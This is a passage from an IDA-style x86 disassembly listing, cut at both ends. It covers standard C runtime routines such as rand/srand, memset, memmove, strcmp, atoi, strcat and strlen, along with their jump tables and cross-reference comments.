; ---------------------------------------------------------------------------
loc_4152F2: ; CODE XREF: sub_415255+8Aj
mov [ebp+var_4], ebx
xor eax, eax
loc_4152F7: ; CODE XREF: sub_415255+9Bj
cmp eax, ebx
jnz short loc_4152C1
loc_4152FB: ; CODE XREF: sub_415255+6Aj
mov eax, [edi]
cmp [eax], bl
jnz short loc_41530E
mov eax, [esi]
cmp [eax], bl
jnz short loc_41530E
mov [ebp+var_4], 1
loc_41530E: ; CODE XREF: sub_415255+AAj
; sub_415255+B0j
mov eax, [ebp+var_4]
loc_415311: ; CODE XREF: sub_415255+50j
; sub_415255+5Dj
pop edi
pop esi
pop ebx
leave
retn
sub_415255 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415316 proc near ; CODE XREF: start+61p sub_4010B2+320p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_417D6C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_415356
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_415363
; ---------------------------------------------------------------------------
loc_415356: ; CODE XREF: sub_415316+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C57
pop ecx
pop ecx
loc_415363: ; CODE XREF: sub_415316+3Ej
mov eax, esi
pop esi
leave
retn
sub_415316 endp
; =============== S U B R O U T I N E =======================================
sub_415368 proc near ; CODE XREF: start+2Ep sub_401BD4+46p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4383AC, eax
retn
sub_415368 endp
; =============== S U B R O U T I N E =======================================
sub_415372 proc near ; CODE XREF: sub_4010B2+CBp
; sub_4010B2+13Fp ...
mov eax, dword_4383AC
imul eax, 343FDh
add eax, 269EC3h
mov dword_4383AC, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_415372 endp
; =============== S U B R O U T I N E =======================================
sub_415390 proc near ; CODE XREF: sub_4010B2+281p
; sub_401444+180p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_4153E3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_4153D7
neg ecx
and ecx, 3
jz short loc_4153B9
sub edx, ecx
loc_4153B3: ; CODE XREF: sub_415390+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_4153B3
loc_4153B9: ; CODE XREF: sub_415390+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_4153D7
rep stosd
test edx, edx
jz short loc_4153DD
loc_4153D7: ; CODE XREF: sub_415390+18j
; sub_415390+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_4153D7
loc_4153DD: ; CODE XREF: sub_415390+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4153E3: ; CODE XREF: sub_415390+Aj
mov eax, [esp+arg_0]
retn
sub_415390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4153F0 proc near ; CODE XREF: sub_4010B2+22Dp
; sub_4010B2+23Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_415410
cmp edi, eax
jb loc_415588
loc_415410: ; CODE XREF: sub_4153F0+16j
test edi, 3
jnz short loc_41542C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41544C
rep movsd
jmp off_415538[edx*4]
; ---------------------------------------------------------------------------
loc_41542C: ; CODE XREF: sub_4153F0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_415444
and eax, 3
add ecx, eax
jmp dword ptr loc_41544C+4[eax*4]
; ---------------------------------------------------------------------------
loc_415444: ; CODE XREF: sub_4153F0+46j
jmp dword ptr loc_415548[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41544C: ; CODE XREF: sub_4153F0+31j
; sub_4153F0+8Ej ...
jmp off_4154CC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_415460
dd offset loc_41548C
dd offset loc_4154B0
; ---------------------------------------------------------------------------
loc_415460: ; DATA XREF: sub_4153F0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41544C
rep movsd
jmp off_415538[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41548C: ; DATA XREF: sub_4153F0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41544C
rep movsd
jmp off_415538[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4154B0: ; DATA XREF: sub_4153F0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41544C
rep movsd
jmp off_415538[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4154CC dd offset loc_41552F ; DATA XREF: sub_4153F0:loc_41544Cr
dd offset loc_41551C
dd offset loc_415514
dd offset loc_41550C
dd offset loc_415504
dd offset loc_4154FC
dd offset loc_4154F4
dd offset loc_4154EC
; ---------------------------------------------------------------------------
loc_4154EC: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_4154F4: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_4154FC: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_415504: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41550C: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_415514: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41551C: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41552F: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0:off_4154CCo
jmp off_415538[edx*4]
; ---------------------------------------------------------------------------
align 4
off_415538 dd offset loc_415548 ; DATA XREF: sub_4153F0+35r
; sub_4153F0+92r ...
dd offset loc_415550
dd offset loc_41555C
dd offset loc_415570
; ---------------------------------------------------------------------------
loc_415548: ; CODE XREF: sub_4153F0+35j
; sub_4153F0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_415550: ; CODE XREF: sub_4153F0+35j
; sub_4153F0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41555C: ; CODE XREF: sub_4153F0+35j
; sub_4153F0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_415570: ; CODE XREF: sub_4153F0+35j
; sub_4153F0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_415588: ; CODE XREF: sub_4153F0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_4155BC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4155B0
std
rep movsd
cld
jmp off_4156D0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4155B0: ; CODE XREF: sub_4153F0+1B1j
; sub_4153F0+208j ...
neg ecx
jmp off_415680[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4155BC: ; CODE XREF: sub_4153F0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_4155D4
and eax, 3
sub ecx, eax
jmp dword ptr loc_4155D4+4[eax*4]
; ---------------------------------------------------------------------------
loc_4155D4: ; CODE XREF: sub_4153F0+1D6j
; DATA XREF: sub_4153F0+1DDr
jmp off_4156D0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4155E7+1
; ---------------------------------------------------------------------------
or [esi+41h], dl
add [eax], dh
push esi
inc ecx
loc_4155E7: ; DATA XREF: sub_4153F0+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_4155B0
std
rep movsd
cld
jmp off_4156D0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_4155B0
std
rep movsd
cld
jmp off_4156D0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_4155B0
std
rep movsd
cld
jmp off_4156D0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_415684
dd offset loc_41568C
dd offset loc_415694
dd offset loc_41569C
dd offset loc_4156A4
dd offset loc_4156AC
dd offset loc_4156B4
off_415680 dd offset loc_4156C7 ; DATA XREF: sub_4153F0+1C2r
; ---------------------------------------------------------------------------
loc_415684: ; DATA XREF: sub_4153F0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41568C: ; DATA XREF: sub_4153F0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_415694: ; DATA XREF: sub_4153F0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41569C: ; DATA XREF: sub_4153F0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_4156A4: ; DATA XREF: sub_4153F0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_4156AC: ; DATA XREF: sub_4153F0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_4156B4: ; DATA XREF: sub_4153F0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4156C7: ; CODE XREF: sub_4153F0+1C2j
; DATA XREF: sub_4153F0:off_415680o
jmp off_4156D0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_4156D0 dd offset loc_4156E0 ; DATA XREF: sub_4153F0+1B7r
; sub_4153F0:loc_4155D4r ...
dd offset loc_4156E8
dd offset loc_4156F8
dd offset loc_41570C
; ---------------------------------------------------------------------------
loc_4156E0: ; CODE XREF: sub_4153F0+1B7j
; sub_4153F0:loc_4155D4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4156E8: ; CODE XREF: sub_4153F0+1B7j
; sub_4153F0:loc_4155D4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4156F8: ; CODE XREF: sub_4153F0+1B7j
; sub_4153F0:loc_4155D4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41570C: ; CODE XREF: sub_4153F0+1B7j
; sub_4153F0:loc_4155D4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_4153F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415730 proc near ; CODE XREF: sub_4010B2+FCp
; sub_4010B2+118p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41577C
loc_415740: ; CODE XREF: sub_415730+3Cj
; sub_415730+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_415774
or al, al
jz short loc_415770
cmp ah, [ecx+1]
jnz short loc_415774
or ah, ah
jz short loc_415770
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_415774
or al, al
jz short loc_415770
cmp ah, [ecx+3]
jnz short loc_415774
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_415740
mov edi, edi
loc_415770: ; CODE XREF: sub_415730+18j
; sub_415730+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_415774: ; CODE XREF: sub_415730+14j
; sub_415730+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41577C: ; CODE XREF: sub_415730+Ej
test edx, 1
jz short loc_415798
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_415774
inc ecx
or al, al
jz short loc_415770
test edx, 2
jz short loc_415740
loc_415798: ; CODE XREF: sub_415730+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_415774
or al, al
jz short loc_415770
cmp ah, [ecx+1]
jnz short loc_415774
or ah, ah
jz short loc_415770
add ecx, 2
jmp short loc_415740
sub_415730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4157C0 proc near ; CODE XREF: sub_4010B2+19Ep
; sub_4018CB+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_4157D9
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_4157D9: ; CODE XREF: sub_4157C0+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_4157C0 endp
; =============== S U B R O U T I N E =======================================
sub_4157F4 proc near ; CODE XREF: sub_41587F+4p
; sub_41EA02+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_4157FC: ; CODE XREF: sub_4157F4+34j
cmp dword_4385FC, 1
jle short loc_415814
movzx eax, byte ptr [edi]
push 8
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_415823
; ---------------------------------------------------------------------------
loc_415814: ; CODE XREF: sub_4157F4+Fj
movzx eax, byte ptr [edi]
mov ecx, off_4383F0
mov al, [ecx+eax*2]
and eax, 8
loc_415823: ; CODE XREF: sub_4157F4+1Ej
test eax, eax
jz short loc_41582A
inc edi
jmp short loc_4157FC
; ---------------------------------------------------------------------------
loc_41582A: ; CODE XREF: sub_4157F4+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41583A
cmp esi, 2Bh
jnz short loc_41583E
loc_41583A: ; CODE XREF: sub_4157F4+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41583E: ; CODE XREF: sub_4157F4+44j
xor ebx, ebx
loc_415840: ; CODE XREF: sub_4157F4+7Bj
cmp dword_4385FC, 1
jle short loc_415855
push 4
push esi
call sub_418576
pop ecx
pop ecx
jmp short loc_415860
; ---------------------------------------------------------------------------
loc_415855: ; CODE XREF: sub_4157F4+53j
mov eax, off_4383F0
mov al, [eax+esi*2]
and eax, 4
loc_415860: ; CODE XREF: sub_4157F4+5Fj
test eax, eax
jz short loc_415871
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_415840
; ---------------------------------------------------------------------------
loc_415871: ; CODE XREF: sub_4157F4+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41587A
neg eax
loc_41587A: ; CODE XREF: sub_4157F4+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4157F4 endp
; =============== S U B R O U T I N E =======================================
sub_41587F proc near ; CODE XREF: sub_4013E8+12p
; sub_4013E8+1Dp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4157F4
pop ecx
retn
sub_41587F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41588A proc near ; CODE XREF: sub_401444+3A1p
; sub_401BD4+4F5p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_417D6C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_4158C9
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_4158D6
; ---------------------------------------------------------------------------
loc_4158C9: ; CODE XREF: sub_41588A+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C57
pop ecx
pop ecx
loc_4158D6: ; CODE XREF: sub_41588A+3Dj
mov eax, esi
pop esi
leave
retn
sub_41588A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4158E0 proc near ; CODE XREF: sub_401BD4+2C3p
; sub_401BD4+2E3p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41595A
mov dh, [ecx+1]
test dh, dh
jz short loc_415947
loc_4158F8: ; CODE XREF: sub_4158E0+52j
; sub_4158E0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41591A
test al, al
jz short loc_415914
loc_415909: ; CODE XREF: sub_4158E0+32j
mov al, [esi]
inc esi
loc_41590C: ; CODE XREF: sub_4158E0+3Fj
cmp al, dl
jz short loc_41591A
test al, al
jnz short loc_415909
loc_415914: ; CODE XREF: sub_4158E0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41591A: ; CODE XREF: sub_4158E0+23j
; sub_4158E0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41590C
lea edi, [esi-1]
loc_415924: ; CODE XREF: sub_4158E0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_415953
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_4158F8
mov al, [ecx+3]
test al, al
jz short loc_415953
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_415924
jmp short loc_4158F8
; ---------------------------------------------------------------------------
loc_415947: ; CODE XREF: sub_4158E0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_416F26
; ---------------------------------------------------------------------------
loc_415953: ; CODE XREF: sub_4158E0+49j
; sub_4158E0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41595A: ; CODE XREF: sub_4158E0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_4158E0 endp
; =============== S U B R O U T I N E =======================================
sub_415960 proc near ; CODE XREF: sub_40211C+92p
; sub_4059FC+7Cp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_415975
or eax, 0FFFFFFFFh
jmp short loc_4159AF
; ---------------------------------------------------------------------------
loc_415975: ; CODE XREF: sub_415960+Ej
test al, 83h
jz short loc_4159AD
push esi
call sub_418704
push esi
mov edi, eax
call sub_41869E
push dword ptr [esi+10h]
call sub_4185EB
add esp, 0Ch
test eax, eax
jge short loc_41599B
or edi, 0FFFFFFFFh
jmp short loc_4159AD
; ---------------------------------------------------------------------------
loc_41599B: ; CODE XREF: sub_415960+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_4159AD
push eax
call sub_415C9B
and dword ptr [esi+1Ch], 0
pop ecx
loc_4159AD: ; CODE XREF: sub_415960+17j
; sub_415960+39j ...
mov eax, edi
loc_4159AF: ; CODE XREF: sub_415960+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_415960 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4159B6 proc near ; CODE XREF: sub_40211C+8Cp
; sub_40CD3A+2945p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_4187D6
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417D6C
push [ebp+arg_0]
mov edi, eax
push esi
call sub_418863
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_4159B6 endp
; =============== S U B R O U T I N E =======================================
sub_4159E8 proc near ; CODE XREF: sub_415A08+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_418A10
test eax, eax
jnz short loc_4159F2
retn
; ---------------------------------------------------------------------------
loc_4159F2: ; CODE XREF: sub_4159E8+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_4188A0
add esp, 10h
retn
sub_4159E8 endp
; =============== S U B R O U T I N E =======================================
sub_415A08 proc near ; CODE XREF: sub_40211C+54p
; sub_4059FC+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4159E8
add esp, 0Ch
retn
sub_415A08 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415A20 proc near ; CODE XREF: sub_405A96+2AEp
; sub_4098D4+75p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_415A91
sub_415A20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415A30 proc near ; CODE XREF: sub_40211C+32p
; sub_40211C+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_415A4C
loc_415A3D: ; CODE XREF: sub_415A30+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_415A7F
test ecx, 3
jnz short loc_415A3D
loc_415A4C: ; CODE XREF: sub_415A30+Bj
; sub_415A30+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_415A4C
mov eax, [ecx-4]
test al, al
jz short loc_415A8E
test ah, ah
jz short loc_415A89
test eax, 0FF0000h
jz short loc_415A84
test eax, 0FF000000h
jz short loc_415A7F
jmp short loc_415A4C
; ---------------------------------------------------------------------------
loc_415A7F: ; CODE XREF: sub_415A30+12j
; sub_415A30+4Bj
lea edi, [ecx-1]
jmp short loc_415A91
; ---------------------------------------------------------------------------
loc_415A84: ; CODE XREF: sub_415A30+44j
lea edi, [ecx-2]
jmp short loc_415A91
; ---------------------------------------------------------------------------
loc_415A89: ; CODE XREF: sub_415A30+3Dj
lea edi, [ecx-3]
jmp short loc_415A91
; ---------------------------------------------------------------------------
loc_415A8E: ; CODE XREF: sub_415A30+39j
lea edi, [ecx-4]
loc_415A91: ; CODE XREF: sub_415A20+5j
; sub_415A30+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_415AB6
loc_415A9D: ; CODE XREF: sub_415A30+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_415B08
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_415A9D
jmp short loc_415AB6
; ---------------------------------------------------------------------------
loc_415AB1: ; CODE XREF: sub_415A30+9Ej
; sub_415A30+B8j
mov [edi], edx
add edi, 4
loc_415AB6: ; CODE XREF: sub_415A30+6Bj
; sub_415A30+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_415AB1
test dl, dl
jz short loc_415B08
test dh, dh
jz short loc_415AFF
test edx, 0FF0000h
jz short loc_415AF2
test edx, 0FF000000h
jz short loc_415AEA
jmp short loc_415AB1
; ---------------------------------------------------------------------------
loc_415AEA: ; CODE XREF: sub_415A30+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_415AF2: ; CODE XREF: sub_415A30+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_415AFF: ; CODE XREF: sub_415A30+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_415B08: ; CODE XREF: sub_415A30+72j
; sub_415A30+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_415A30 endp
; =============== S U B R O U T I N E =======================================
sub_415B10 proc near ; CODE XREF: sub_4021FB+19Cp
; sub_4021FB+1F0p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_415B30
loc_415B1C: ; CODE XREF: sub_415B10+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_415B63
test ecx, 3
jnz short loc_415B1C
add eax, 0
loc_415B30: ; CODE XREF: sub_415B10+Aj
; sub_415B10+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_415B30
mov eax, [ecx-4]
test al, al
jz short loc_415B81
test ah, ah
jz short loc_415B77
test eax, 0FF0000h
jz short loc_415B6D
test eax, 0FF000000h
jz short loc_415B63
jmp short loc_415B30
; ---------------------------------------------------------------------------
loc_415B63: ; CODE XREF: sub_415B10+11j
; sub_415B10+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415B6D: ; CODE XREF: sub_415B10+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415B77: ; CODE XREF: sub_415B10+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415B81: ; CODE XREF: sub_415B10+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_415B10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415B90 proc near ; CODE XREF: sub_4024D0+8p
; sub_40297A+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_415BB0
loc_415B9C: ; CODE XREF: sub_415B90+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_415B9C
loc_415BB0: ; CODE XREF: sub_415B90+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_415B90 endp
; =============== S U B R O U T I N E =======================================
sub_415BBF proc near ; CODE XREF: sub_402FCD+7Ap
; sub_402FCD+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_415BD3
loc_415BCB: ; CODE XREF: sub_415BBF+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_415BCB
